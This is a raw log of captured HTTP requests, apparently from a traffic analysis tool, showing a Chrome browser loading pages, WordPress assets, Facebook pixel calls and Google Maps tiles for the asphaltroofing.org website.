Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAttribution-Reporting-Eligible: event-source, trigger;navigation-sourceReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884054772 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/security.js?v=1713884054772User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158ZIf-None-Match: "4506e-5c6-5ddcbf6119400"If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
Source: global traffic	HTTP traffic detected: GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /guide-for-professionals/ HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m4!1m3!1i16!2i18860!3i24908!1m4!1m3!1i16!2i18860!3i24909!1m4!1m3!1i16!2i18861!3i24908!1m4!1m3!1i16!2i18861!3i24909!1m4!1m3!1i16!2i18862!3i24908!1m4!1m3!1i16!2i18862!3i24909!1m4!1m3!1i16!2i18863!3i24908!1m4!1m3!1i16!2i18863!3i24909!2m3!1e0!2sm!3i690435105!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=3264 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=55343 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24909!4i256!2m3!1e0!2sm!3i690434553!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=50324 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/fontello.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/guide-for-professionals/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
Source: global traffic	HTTP traffic detected: GET /wp-content/fontello-icon-fonts/back-to-work-social-media-graphics/css/animation.css?ver=3.3.8 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/guide-for-professionals/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/ultimate-responsive-image-slider/assets/css/slider-pro.css?ver=6.0.7 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/guide-for-professionals/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/ultimate-responsive-image-slider/assets/js/jquery.sliderPro.js?ver=1.5.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/guide-for-professionals/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/lib/bower/skrollr/dist/skrollr.min.js?ver=6.1 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/guide-for-professionals/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/roofing.png?id=96 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/guide-for-professionals/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=12999 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/recycle-150x150.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/guide-for-professionals/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=93519 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.asphaltroofing.orgSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18861!3i24909!4i256!2m3!1e0!2sm!3i690434553!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=50324 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m4!1m3!1i16!2i18860!3i24908!1m4!1m3!1i16!2i18860!3i24909!1m4!1m3!1i16!2i18861!3i24908!1m4!1m3!1i16!2i18861!3i24909!1m4!1m3!1i16!2i18862!3i24908!1m4!1m3!1i16!2i18862!3i24909!1m4!1m3!1i16!2i18863!3i24908!1m4!1m3!1i16!2i18863!3i24909!2m3!1e0!2sm!3i690435105!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e3!12m1!5b1!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=3264 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18862!3i24909!4i256!2m3!1e0!2sm!3i690434793!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=55343 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /maps/vt?pb=!1m5!1m4!1i16!2i18863!3i24908!4i256!2m3!1e0!2sm!3i690434157!2m3!1e2!2sspotlit!5i1!3m12!2sen!3sUS!5e289!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0!27m16!299174093m15!14m14!1m9!1m2!1y9928148864880106101!2y4679642052884874500!2s%2Fg%2F11c5n1lpq7!4m2!1x395847673!2x3531091971!8b1!15sgcid%3Ageocoded_address!2b0!3b0!6b0!8b0&client=google-maps-embed&token=42968 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3074.9087051686033!2d-76.38923968536142!3d39.58420787947054!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x89c7deca80605a75%3A0x40f16da73e2ec504!2s2331%20Rock%20Spring%20Rd%2C%20Forest%20Hill%2C%20MD%2021050!5e0!3m2!1sen!2sus!4v1609858550960!5m2!1sen!2susAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
